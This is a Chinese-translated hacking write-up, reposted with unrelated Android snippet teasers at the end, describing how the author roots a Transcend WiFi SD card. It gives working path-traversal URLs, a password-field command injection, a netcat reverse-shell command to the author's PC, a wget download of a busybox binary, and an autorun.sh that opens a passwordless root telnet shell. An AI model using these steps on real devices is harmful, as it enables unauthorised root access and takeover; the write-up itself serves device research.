创见WiFi SD卡破解之路

我最近搞了张Transcend WiFi SD,颇为得意。它可以让我在几秒钟内将单反(奶昔,相当便携)中拍摄的照片传到任何支持wifi的设备上。我很喜欢在旅途中拍摄和分享图片,所以对我而言,可以无线传输图片的SD卡是一个很好的解决方案。确实如此!(以后也是!)。不过移动应用程序可以好好改进下(下载7MB的图像仅仅为了渲染?点击下载后还要重新下载一遍!谁能告诉我这是为什么?),但是,嘿,它能够完成任务!

这个小小的设备不仅可以存储16GB数据(还有32GB版本),而且还是一个嵌入式系统,能够运行应用程序,包括web服务器,和其他wifi设备通讯,甚至自建无线网络——这个明显的事实让我和我的小伙伴都惊呆了!好了,不废话了,进入主题:我们能不能用这个设备做一些设计之外的事情呢?

写这篇文章的目的不但是为了指出可以用来root、越狱设备的漏洞,同时也是为了展现摸索、利用漏洞的方法,其中的一些方法可能走不通,但其他的或许会导向万能的根用户。

准备Hax

我猜这张卡中存在着某种形式的嵌入式Linux系统。如果是这样,扩展它的功能会很容易,但是,首先我需要取得系统的控制权。到现在为止我只使用过和它配套的Android和iOS应用程序,不过很明显,最简单与电脑交互的方式是Web应用程序。下面的想法立即浮现在我的脑海中:

如果移动应用程序很糟糕,那么web应用和服务器肯定也好不到哪里去……也许它充满了等待被利用的漏洞。

孩子,我是对的!

一旦你连接到Web服务器(卡片的IP是192.168.11.254,默认登录admin/admin),你就会感受到和使用手机app一样糟糕的感觉,“用户体验”很糟,“破解体验”应该不错。很多人使用scanners、fuzers之类的强力工具来探索漏洞,然而这个系统的安全性是如此之差,以至于我随意摸索一番,就找到了可以利用的漏洞。

“Files”区域十分显眼,它允许你浏览SD卡的内容。不幸的是,它不允许你进入SD卡根目录的父目录。果真如此?如果可以进入父目录就好了,我们可以了解系统的内部情况,获得关于它的更多信息。如果我们足够幸运,甚至可以通过Web界面运行一些指令。你会注意到指向“父目录”的链接的URL是这样的(%2F就是URL编码格式中的斜杠字符“/”):

http://192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd

好了,让我们试着访问/www,http://192.168.11.254/cgi-bin/file _list.pl?dir=%2Fwww

结果证明此路不通。访问/、/bin、/etc、或任何其他目录都失败了。:(
运气不行。不过,话说回来,如果可行的话,那也太容易了!好吧,其实也没那么困难,程序员真是太粗心。导航栏中?dir=/www/sd/../../是一样的效果,成功了!

哈,太尴尬了!貌似程序员只是确保路径使用/WWW/SD起始,但没有验证父目录的“../”。通过这种方式,我们可以浏览嵌入式系统中的任何文件。当然,点击文件是不会执行它们的,只是下载而已,然而这已经是一个巨大的成功了!

浏览文件系统、下载脚本之后,很明显系统使用的是busybox,这在我们的意料之中。由于大多数二进制文件的大小是相同的,这暗示它们是指向busybox的软链接。然而,许多不是软链接,包括大多数在/WWW/cgi-bin目录下的脚本。这些可能是值得注意的,因为只需通过浏览器访问它们就可以运行。

开始Hax

看起来很有希望!现在我们可以访问内部系统,即使只是只读模式,仍然给了我们很大的便利,因为我们能够研究和寻找可以利用的漏洞。:)

检查一些脚本,找到可以被利用漏洞,没有花掉多少时间。顺便提一下,这些都是Perl脚本。Perl有一个很好的特性就是使用open()调用打开一个文件,因为如果open()的参数不是真正的文件路径,而是以管道符结尾的shell命令的话,例如open("cat/etc/passwd |"),会执行程序。其他滥用open()的手段包括在不同的位置写一个新文件,或者覆盖现有的文件,所以我们可以编写自己的代码并运行它。让我们来看看是否有文件可以被利用。

有一个文件特别显眼,因为它包含了一个含有用户提供的变量的open()调用。kcard_upload.pl包含以下语句:

事实上,Web应用程序并没有使用这个文件。kcard_upload.pl对用户是隐藏的,但它仍然存在,在cgi-bin目录下可以访问。我们只需用浏览器指向它,就可以运行。这真是双倍的尴尬,一个未被使用的可被利用的脚本!但是它真的可以被利用吗?

通过阅读kcard_upload.pl的代码,我知道这里存在三个利用变量$basename控制系统的挑战:

首先,$basename不能直接被用户使用,因为它是调用GetBasename($upfile)的结果。用户(即,攻击者)直接使用的是$upfile。更准确地说,它是你选择上传文件时HTML表单的路径。但是,如果我们提交了路径,GetBasename将只返回路径末尾的文件名,其余将被移除。这使遍历目录(如之前提到的../../技巧)不可行。

其次,$basename由脚本转化为大写,所以无论我们传入什么,都会被转换为大写,这限制了可用的策略。

最后的挑战是kcard_upload.pl的脚本只允许PNG,JPG,BMP,GIF格式的文件上传。

所以这是一条死胡同吗?还没那么快!

如果你更仔细地查看代码,你会意识到尽管程序员想要限制上传文件的类型,然而他们只是检查文件名是否包含这些扩展名,而不是是否以这些扩展名结束。

此外,这些正则表达式并没有真正检查是否包含.,因为在正则表达式中.可以代表除了换行符以外的任意字符。.应该使用\转义。我猜程序员想要的是/\.GIF$/,但结果写成了/.GIF/,所以我们只需在文件名的任意位置包含三字符组合就可以绕过限制,例如/hi/helPNGlo/asdf.something。太方便了!

由于我们的路径会被转化成大写,也许我们就不能再调用任何系统命令(因为大部分都不是大写),不过也许我们仍然可以上传新的文件,也许是把我们自己的脚本植入系统。我们并不十分关心这些脚本的文件名是大写还是小写。

最后,如果你还记得,我们的路径在保存到变量$basename之前,己经被GetBasename()转化了。GetBasename()的功能是切分路径,获取最后的文件名。所以/path/to/file.txt会变成简单的file.txt。这很糟,因为这意味着我们再也不能操纵路径,不能使用类似“../../bin/our-malicious.script”的技巧,因为它最终会变为“our-malicious.script”,然后保存在DCIM/198_WIFI/。:_(

除非,GetBasename()包含一个可以被利用的漏洞。:_)

基本上,这些代码考虑了两种情况:用户提供的路径是由windows风格的反斜杠分隔,以及路径由斜杠分隔(除去windows之外的任何OS)。或者说,这是这些代码试图做到的!这些代码真正做的是,检查路径是否包含一个反斜杠,如果包含,那么就判定这是一个windows路径(因为windows路径使用反斜杠作分隔符),然后按照反斜杠分割路径。它并不会真正检查路径是否由斜杠分隔。因此,考虑以下路径:

/this/part/gets/discarded\/this/path/is/used

由于这个路径包含一个反斜杠(这是一个合法的字符),代码会它认定它是一个windows路径,因此我们最终获得了一个不是真正的基本名的basename,它实际上是一个路径。在我们的例子中,路径将是:/this/path/is/used.

你看!类似/PNG/something\/../../our-malicious.script的路径将绕过所有安全措施,之后写入我们选定的位置
B-)
 这是个好消息。坏消息是这些不能真正生效。啊!这是因为脚本错误地假设../DCIM/198_WIFI存在,但由于脚本从/WWW/cgi-bin运行,所以这个假设不成立(正确的路径应该是../sd/DCIM/198_WIFI)。令人伤心的是我们对此无能为力。这个bug是硬编码到脚本的。开发人员应该没怎么注意这一点,因为这个脚本并不打算提供给用户使用。(记得吗?它是隐藏的。)据我所知,尽管我们做了花了不少功夫,这是一条死胡同。:-(
不过也许有人可以拿出一个创新的方案。

(此外,kcard_upload.pl输出的表单并不调用自身,而是调用一个名为wifi_upload二进制文件,因此我们需要自己实现HTTP POST调用。)

Hax继续

不过,注意看!我们已经发现了代码质量如此糟糕,因此肯定还存在很多其他的漏洞(如果你想更有想象力一点,我很肯定kcard_upload.pl调用的/www/cgi-bin/wifi_upload工具,可以通过栈溢出和堆溢出破解,因为代码中有很多混乱的strcpy调用)。事实上,我没有过多地检查这些方面。还有一些我没在这篇里详述的其他死胡同。我下面将详述一个明显的漏洞,非常容易利用:

从perl脚本直接调用shell命令有很多不同的方法,如果程序员粗心大意地使用不妥的方式调用shell命令,那么也许我们可以运行自己的shell命令!使用perl脚本运行shell代码的一个方法是使用system()调用。事实上,.pl.cgi文件使用了大量的system()调用,但是它们的参数都是硬编码的,所以没有太多的空间可供操纵或利用。另外一种使用perl调用shell代码的方法是使用qx{}表达式,但是代码中没有使用过这种方式。然而,第三种方式是使用反引号包围shell代码,相当于使用qX{}。事实上很多地方都使用了这种方式,而且shell代码中也使用了用户提供的输入!这意味着他们的shell代码混合了我们的输入,所以可能被用来运行我们自己的代码。

在kcard_save_config_insup.pl有一行给人的感觉就像圣诞节:

该语句运行$update_auth指定的命令,将$LOGIN_USR$LOGIN_PWD作为参数。这两个参数直接来自一个表单,这意味着我们可以控制它们的值。没有针对它们内容的检查!更精确地说,这是当你进入Web界面,点击“settings”时显示的一个表单。你可以通过http://192.168.11.254/kcardX120Xedit_config_insup.pl直接访问这个表单。表单询问的是管理员的用户名和密码。这意味着通过选择一个恰当构造的密码,我们可以执行代码!首先,密码必须包含一个分号,以便在$update_path命令执行后可以开始执行一个新shell命令。然后它就可以包含任何我们想要的shell代码。最后,密码必须以#符号(表明后面的内容是注释)结束,这样后面的内容将被忽略(> /mnt/mtd/config/ia.passwd部分)。

这很容易测试,例如:admin; echo haxx > /tmp/hi.txt #

然而表单进行了合理性测试,它不会允许长密码和奇怪的字符。由于这些检查是通过JavaScript来完成的,而不是在服务器端完成的,绕过它们太容易了。我使用Form Editor Chrome扩展来摆脱这些问题。

提交表单后,我们可以很容易地检查漏洞是否有效,只需利用本文前面提到的漏洞访问/tmp。我们甚至可以下载文件然后检查其内容是否正确。

记得将你的密码恢复为“admin”,否则利用完此漏洞后你需要通过出厂设置重设你的SD卡(当然重设不会影响到你的图片)。

获取root

目前为止,我们不仅能够读取嵌入式系统的文件系统中的任何文件,而且也可以执行shell代码,并写入文件。不过,我们仍然缺少合适的shell访问方式。

查看/usr/bin目录中的内容,我们可以发现,这里有很多可以让我们制造反向shell的好东西:netcat(nc
二进制)、telnet,等等。反向shell是这样工作的,通过我们PC的一个特定端口监听传入的连接,把目标系统连接到它,运行一个shell,通过该连接获取输入,同时通过该连接打印所有输出。建立反向shell的方法你用上所有的手指、脚趾也数不过来,不过最简单的方法是调用netcat:

nc 192.168.11.11 1337-e /bin/bash

这会让netcat来连接我们的电脑(被分配的IP为192.168.11.11)的1337端口,然后将输入传给bash。当然,你必须使用先前所描述的漏洞来运行这个命令,将你的密码改为admin NC 192.168.11.111337 -e /bin/bash #。不幸的是这根本不起作用。使用telnet或其他工具的技巧也无效。为什么无效呢?nc、telnet和其他工具的软链接在/usr/bin目录下,指令的语法是正确的!事实上,我们亲爱的SD卡内的嵌入式Linux禁用了这些busybox的功能!(我们可以尝试调用telnet或netcat,将stdout和stderr重定向到/tmp/hi.txt来验证一点,使用以下命令nc
192.168.11.111337 -e /bin/bash &\> /tmp/hi.txt
。下载hi.txt以后,它的内容会是类似如下的内容:nc:
applet not found
。这意味着nc被禁用了。真恶心!我们只能通过那个糟糕的表单运行命令,同时不能使用网络工具吗?当然不是!

碰巧的是,transcend脚本使用到了wget,因此wget是启用的。它允许我们下载另一个完整的BusyBox二进制文件  ))
我懒得自己编译,所以我从http://busybox.net/downloads/binaries/latest/获取了一个预编译的busybox二进制文件。我把busybox-armv5l二进制文件放在我电脑上的本地web服务器上(我的SD卡没有互联网配置),所以我只是运行了wget http://192.168.11.11/busybox-armv5l,使用表单漏洞将它下载到SD卡的/www/cgi-bin目录。我也运行了chmod a+x /www/cgi-bin/busybox-armv5l确保它随后可以运行。

uid=0 gid=0

最后,我得到了我的远程shell!运行nc -vv -l
1337
我的电脑会监听1337端口,运行/www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash,SD卡在该端口上启用shell。由于下载的busybox二进制文件启用了所有工具,我们可以通过远程shell运行/www/cgi-bin/busybox-armv5l <命令>获得更丰富的shell命令!例如,/www/cgi-bin/busybox-armv5l id告诉我们,我们已经已经以root身份在运行shell。

更多Hax

假如你忘记您的密码,需要重设,你可以使用SD卡的恢复出厂设置功能(SD卡中有一个特殊的图片文件,一旦删除,重新启动后就会复位SD卡)。不过,你可以恢复你的明文密码,源于一个非常非常非常粗心的错误。这有一个“隐藏”的perl脚本,kcard_login.pl,负责最狂野的登录过程。它从wsd.conf文件获取密码,然后提供浏览器验证密码的javascrip代码。是的,你没看错。使用javascript进行验证!

这意味着你只需将浏览器指向http://192.168.11.254/cgi-bin/kcardX156Xlogin.pl,然后查看页面的源代码就可以以明文方式恢复你的密码。密码就在那儿。

友好的后门

启动时自动运行的脚本中,rcS会执行SD卡根目录下的autorun.sh。这将简化开发和破解,创见啊创见!

在我的SD卡的根目录下,我有以下脚本(命名为autorun.sh),此外还放了busybox-armv5l,这样我就可以简单地telnet到系统:

cp /mnt/sd/busybox-armv5l /sbin/busybox

chmod a+x /sbin/busybox/

sbin/busybox telnetd -l /bin/bash &


于是,该卡通电后你就可以登录,完成启动:

尽享hacking之乐!:)

原文:hacking-transcend-wifi-sd-cards

翻译:http://segmentfault.com/

搬运:嘎巴

创见WiFi SD卡破解之路,布布扣,bubuko.com

时间: 2024-08-03 14:37:53

创见WiFi SD卡破解之路的相关文章

【小功能2】android获取手机信息(号码,内存,CPU,分辨率,MAC,IP,SD卡,IMEI,经纬度,信号强度等等)

为了实现一个功能,需要搜集手机信息,自己先在网上找了相关信息进行了汇总,主要是汇集手机的信息,一般想要的信息在手机设置->关于手机->状态消息里面包含了手机的各种信息,下面的代码中也主要显示了那些信息,但是源码的方法我还没有看,先把总结的贴出来.先上图(太多就截取几个).  上代码啦,太多了,就写主要代码了. // 获取Android手机中SD卡存储信息 获取剩余空间 public void getSDCardInfo() { // 在manifest.xml文件中要添加 /* * <u

Android将数据库保存到SD卡的实现

??有时候为了需要,会将数据库保存到外部存储或者SD卡中(对于这种情况可以通过加密数据来避免数据被破解),比如一个应用支持多个数据,每个数据都需要有一个对应的数据库,并且数据库中的信息量特别大时,这显然更应该将数据库保存在外部存储或者SD卡中,因为RAM的大小是有限的:其次在写某些测试程序时将数据库保存在SD卡更方便查看数据库中的内容. ??Android通过SQLiteOpenHelper创建数据库时默认是将数据库保存在'/data/data/应用程序名/databases'目录下的,只需要在

【记录】尝试用android-logging-log4j去实现log输出内容到sd卡中的文件的功能

[背景] 折腾: [记录]给Android中添加log日志输出到文件 期间,已经试了: [记录]尝试用android中microlog4android实现log输出到文件的功能 但是不好用. 然后就是参考: http://stackoverflow.com/questions/2116260/logging-to-a-file-on-android 去看看: http://code.google.com/p/android-logging-log4j/ [[折腾过程] 1.去: https://

Android设备网络、屏幕尺寸、SD卡、本地IP、存储空间等信息获取工具类

Android设备网络.屏幕尺寸.SD卡.本地IP.存储空间.服务.进程.应用包名等信息获取的整合工具类. 1 package com.qiyu.ddb.util; 2 3 import android.annotation.SuppressLint; 4 import android.annotation.TargetApi; 5 import android.app.Activity; 6 import android.app.ActivityManager; 7 import androi

捕获异常、存sd卡、封装请求头体、加密map值、网络工具类、生成Json、Https协议、传log日志到服务器、app崩溃友好重启

点击打开链接,免积分下载 在集成了统计SDK(友盟统计,百度统计等)之后,有一个非常有利于测试的功能:错误分析!此功能能够将程序在运行中碰到的崩溃(runtimeException)问题反馈到服务器,帮助开发者改善产品,多适配机器.然而在公司android开发中不集成这些SDK,那应该怎么实现这样的功能呢?下面让我们来看下如何使用UncaughtExceptionHandler来捕获异常. 在Android开发中,常常会出现uncheched Exception 导致程序的crash,为了提供良

Android之修改用户头像并上传服务器(实现手机拍照和SD卡选择上传)

写了这么多个的APP,最近才把他这个功能写上来,就抽取其中的用户修改头像的相关操作这个功能写了这篇博客,来与大家分享,希望对你有所帮助. 案例包含了: Xutil图片上传 拍照和SD卡选择图片 图片缓存和界面逻辑处理 图片压缩和图片处理 自定义圆形头像 XUtils.Jar 下载 其他图片上传方式请看博客  :Volley-XUtils-OkHttp三种方式实现单张多张图片上传 效果图:(注:模拟器没拍照功能,效果图只有SD卡上传,手机测试拍照上传也是可以的) 代码: MainActivity.

Android 手持PDA读取SD卡中文件

近两年市场上很多Wince设备都开始转向Android操作系统,最近被迫使用Android开发PDA手持设备.主要功能是扫描登录,拣货,包装,发货几个功能.其中涉及到商品档的时候大概有700左右商品要导入到Android设备中,因为现场操作环境没有WiFi ,所以商品档不能直接访问服务,将商品档记录到txt文件中. 一. 将txt文件存放到SD开中 将商品档编辑成为txt文件然后拷贝到SD卡中,当然也可以存储其他的数据格式,甚至可以使用Sqlite来存储,这里没有这个必要所以就直接使用txt 二

全志a13开发板——建立一个可以启动linux的SD卡

1  创建工具连 toolchain # apt-get install gcc-arm-linux-gnueabihf ncurses-dev uboot-mkimage build-essential git # Older (prior to 2013): apt-get install gcc-4.6-arm-linux-gnueabi ncurses-dev uboot-mkimage build-essential git building bootable sd card with

Android工具类整理(1)检查是否有网络、检查SD卡是否存在

以下工具类主要用于: (1)检查是否有网络. (2)检查是否有WIFI. (3)检查是否有移动网络 import android.content.Context; import android.net.ConnectivityManager; import android.net.NetworkInfo; public class CommonUtils { /** 检查是否有网络 */ public static boolean isNetworkAvailable(Context conte